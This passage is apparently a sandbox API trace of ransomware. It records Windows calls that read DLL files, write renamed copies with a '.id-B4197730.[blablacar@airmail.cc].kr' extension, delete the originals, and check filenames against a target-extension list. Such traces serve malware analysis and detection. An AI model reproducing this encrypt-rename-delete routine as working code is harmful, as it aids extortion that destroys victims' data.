(lpString1=".ppt", lpString2=".exe") returned 1 [0106.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\lang hl gis.exe") returned 45 [0106.127] lstrlenW (lpString=".zip") returned 4 [0106.127] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0106.127] lstrlenW (lpString=".rar") returned 4 [0106.127] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0106.127] lstrlenW (lpString=".bz2") returned 4 [0106.127] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0106.127] lstrlenW (lpString=".7z") returned 3 [0106.127] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0106.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\lang hl gis.exe") returned 45 [0106.127] lstrlenW (lpString=".dbf") returned 4 [0106.127] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0106.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\lang hl gis.exe") returned 45 [0106.127] lstrlenW (lpString=".1cd") returned 4 [0106.127] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0106.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\lang hl gis.exe") returned 45 [0106.127] lstrlenW (lpString=".jpg") returned 4 [0106.127] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0106.128] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0106.128] lstrlenW (lpString="api-ms-win-core-file-l1-2-0.dll") returned 31 [0106.128] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0106.128] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x3a5ff14 | out: lpFileSize=0x3a5ff14*=18624) returned 1 [0106.128] CloseHandle (hObject=0x35c) returned 1 [0106.129] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll")) returned 0x20 [0106.129] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0106.129] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0106.129] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.129] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.129] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0106.442] GetLastError () returned 0x0 [0106.442] ReadFile (in: hFile=0x35c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x48c0, lpOverlapped=0x0) returned 1 [0106.445] WriteFile (in: hFile=0x37c, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x48d0, lpOverlapped=0x0) returned 1 [0106.446] ReadFile (in: hFile=0x35c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x0, lpOverlapped=0x0) returned 1 [0106.446] WriteFile (in: hFile=0x37c, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x112, lpOverlapped=0x0) returned 1 [0106.446] SetEndOfFile (hFile=0x37c) returned 1 [0106.450] CloseHandle (hObject=0x37c) returned 1 [0106.452] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.452] SetEndOfFile (hFile=0x35c) returned 1 [0106.453] CloseHandle (hObject=0x35c) returned 1 [0106.453] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0106.454] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll")) returned 1 [0106.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0106.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0106.454] lstrlenW (lpString=".doc") returned 4 [0106.454] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0106.454] lstrlenW (lpString=".docx") returned 5 [0106.454] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0106.454] lstrlenW (lpString=".pdf") returned 4 [0106.454] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0106.454] lstrlenW (lpString=".xls") returned 4 [0106.454] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0106.454] lstrlenW (lpString=".xlsx") returned 5 [0106.454] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0106.454] lstrlenW (lpString=".ppt") returned 4 [0106.454] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0106.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0106.455] lstrlenW (lpString=".zip") returned 4 [0106.455] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0106.455] lstrlenW (lpString=".rar") returned 4 [0106.455] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0106.455] lstrlenW (lpString=".bz2") returned 4 [0106.455] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0106.455] lstrlenW (lpString=".7z") returned 3 [0106.455] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0106.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0106.455] lstrlenW (lpString=".dbf") returned 4 [0106.455] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0106.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0106.455] lstrlenW (lpString=".1cd") returned 4 [0106.455] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0106.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0106.455] lstrlenW (lpString=".jpg") returned 4 [0106.455] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0106.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0106.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0106.455] lstrlenW (lpString=".doc") returned 4 [0106.455] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0106.455] lstrlenW (lpString=".docx") returned 5 [0106.455] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0106.455] lstrlenW (lpString=".pdf") returned 4 [0106.455] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0106.456] lstrlenW (lpString=".xls") returned 4 [0106.456] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0106.456] lstrlenW (lpString=".xlsx") returned 5 [0106.456] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0106.456] lstrlenW (lpString=".ppt") returned 4 [0106.456] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0106.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0106.456] lstrlenW (lpString=".zip") returned 4 [0106.456] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0106.456] lstrlenW (lpString=".rar") returned 4 [0106.456] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0106.456] lstrlenW (lpString=".bz2") returned 4 [0106.456] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0106.456] lstrlenW (lpString=".7z") returned 3 [0106.456] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0106.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0106.456] lstrlenW (lpString=".dbf") returned 4 [0106.456] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0106.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0106.456] lstrlenW (lpString=".1cd") returned 4 [0106.456] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0106.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0106.456] lstrlenW (lpString=".jpg") returned 4 [0106.456] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0106.457] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0106.457] lstrlenW (lpString="api-ms-win-core-processthreads-l1-1-1.dll") returned 41 [0106.457] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0106.457] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x3a5ff14 | out: lpFileSize=0x3a5ff14*=19136) returned 1 [0106.457] CloseHandle (hObject=0x35c) returned 1 [0106.457] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 0x20 [0106.457] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0106.457] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0106.458] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.458] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.458] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0106.459] GetLastError () returned 0x0 [0106.459] ReadFile (in: hFile=0x35c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0106.461] WriteFile (in: hFile=0x37c, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0106.462] ReadFile (in: hFile=0x35c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x0, lpOverlapped=0x0) returned 1 [0106.462] WriteFile (in: hFile=0x37c, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x126, lpOverlapped=0x0) returned 1 [0106.462] SetEndOfFile (hFile=0x37c) returned 1 [0106.462] CloseHandle (hObject=0x37c) returned 1 [0106.464] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.464] SetEndOfFile (hFile=0x35c) returned 1 [0106.465] CloseHandle (hObject=0x35c) returned 1 [0106.465] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0106.466] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 1 [0106.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0106.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0106.466] lstrlenW (lpString=".doc") returned 4 [0106.466] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0106.466] lstrlenW (lpString=".docx") returned 5 [0106.466] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0106.466] lstrlenW (lpString=".pdf") returned 4 [0106.466] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0106.466] lstrlenW (lpString=".xls") returned 4 [0106.466] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0106.466] lstrlenW (lpString=".xlsx") returned 5 [0106.467] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0106.467] lstrlenW (lpString=".ppt") returned 4 [0106.467] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0106.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0106.467] lstrlenW (lpString=".zip") returned 4 [0106.467] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0106.467] lstrlenW (lpString=".rar") returned 4 [0106.467] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0106.467] lstrlenW (lpString=".bz2") returned 4 [0106.467] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0106.467] lstrlenW (lpString=".7z") returned 3 [0106.467] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0106.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0106.467] lstrlenW (lpString=".dbf") returned 4 [0106.467] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0106.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0106.467] lstrlenW (lpString=".1cd") returned 4 [0106.467] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0106.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0106.467] lstrlenW (lpString=".jpg") returned 4 [0106.467] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0106.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0106.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0106.467] lstrlenW (lpString=".doc") returned 4 [0106.468] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0106.468] lstrlenW (lpString=".docx") returned 5 [0106.468] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0106.468] lstrlenW (lpString=".pdf") returned 4 [0106.468] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0106.468] lstrlenW (lpString=".xls") returned 4 [0106.468] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0106.468] lstrlenW (lpString=".xlsx") returned 5 [0106.468] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0106.468] lstrlenW (lpString=".ppt") returned 4 [0106.468] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0106.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0106.468] lstrlenW (lpString=".zip") returned 4 [0106.468] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0106.468] lstrlenW (lpString=".rar") returned 4 [0106.468] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0106.468] lstrlenW (lpString=".bz2") returned 4 [0106.468] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0106.468] lstrlenW (lpString=".7z") returned 3 [0106.468] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0106.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0106.468] lstrlenW (lpString=".dbf") returned 4 [0106.468] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0106.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0106.468] lstrlenW (lpString=".1cd") returned 4 [0106.468] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0106.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0106.468] lstrlenW (lpString=".jpg") returned 4 [0106.469] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0106.469] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0106.469] lstrlenW (lpString="api-ms-win-core-synch-l1-2-0.dll") returned 32 [0106.469] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0106.469] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x3a5ff14 | out: lpFileSize=0x3a5ff14*=19136) returned 1 [0106.469] CloseHandle (hObject=0x35c) returned 1 [0106.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll")) returned 0x20 [0106.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0106.470] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0106.470] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.470] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.470] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0106.470] GetLastError () returned 0x0 [0106.470] ReadFile (in: hFile=0x35c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0106.472] WriteFile (in: hFile=0x37c, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0106.474] ReadFile (in: hFile=0x35c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x0, lpOverlapped=0x0) returned 1 [0106.474] WriteFile (in: hFile=0x37c, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x114, lpOverlapped=0x0) returned 1 [0106.474] SetEndOfFile (hFile=0x37c) returned 1 [0106.474] CloseHandle (hObject=0x37c) returned 1 [0106.476] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.476] SetEndOfFile (hFile=0x35c) returned 1 [0106.477] CloseHandle (hObject=0x35c) returned 1 [0106.477] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0106.477] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll")) returned 1 [0106.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0106.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0106.477] lstrlenW (lpString=".doc") returned 4 [0106.477] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0106.477] lstrlenW (lpString=".docx") returned 5 [0106.478] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0106.478] lstrlenW (lpString=".pdf") returned 4 [0106.478] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0106.478] lstrlenW (lpString=".xls") returned 4 [0106.478] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0106.478] lstrlenW (lpString=".xlsx") returned 5 [0106.478] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0106.478] lstrlenW (lpString=".ppt") returned 4 [0106.478] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0106.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0106.478] lstrlenW (lpString=".zip") returned 4 [0106.478] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0106.478] lstrlenW (lpString=".rar") returned 4 [0106.478] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0106.478] lstrlenW (lpString=".bz2") returned 4 [0106.478] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0106.478] lstrlenW (lpString=".7z") returned 3 [0106.478] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0106.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0106.478] lstrlenW (lpString=".dbf") returned 4 [0106.478] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0106.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0106.478] lstrlenW (lpString=".1cd") returned 4 [0106.478] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0106.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0106.478] lstrlenW (lpString=".jpg") returned 4 [0106.479] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0106.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0106.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0106.479] lstrlenW (lpString=".doc") returned 4 [0106.479] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0106.479] lstrlenW (lpString=".docx") returned 5 [0106.479] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0106.479] lstrlenW 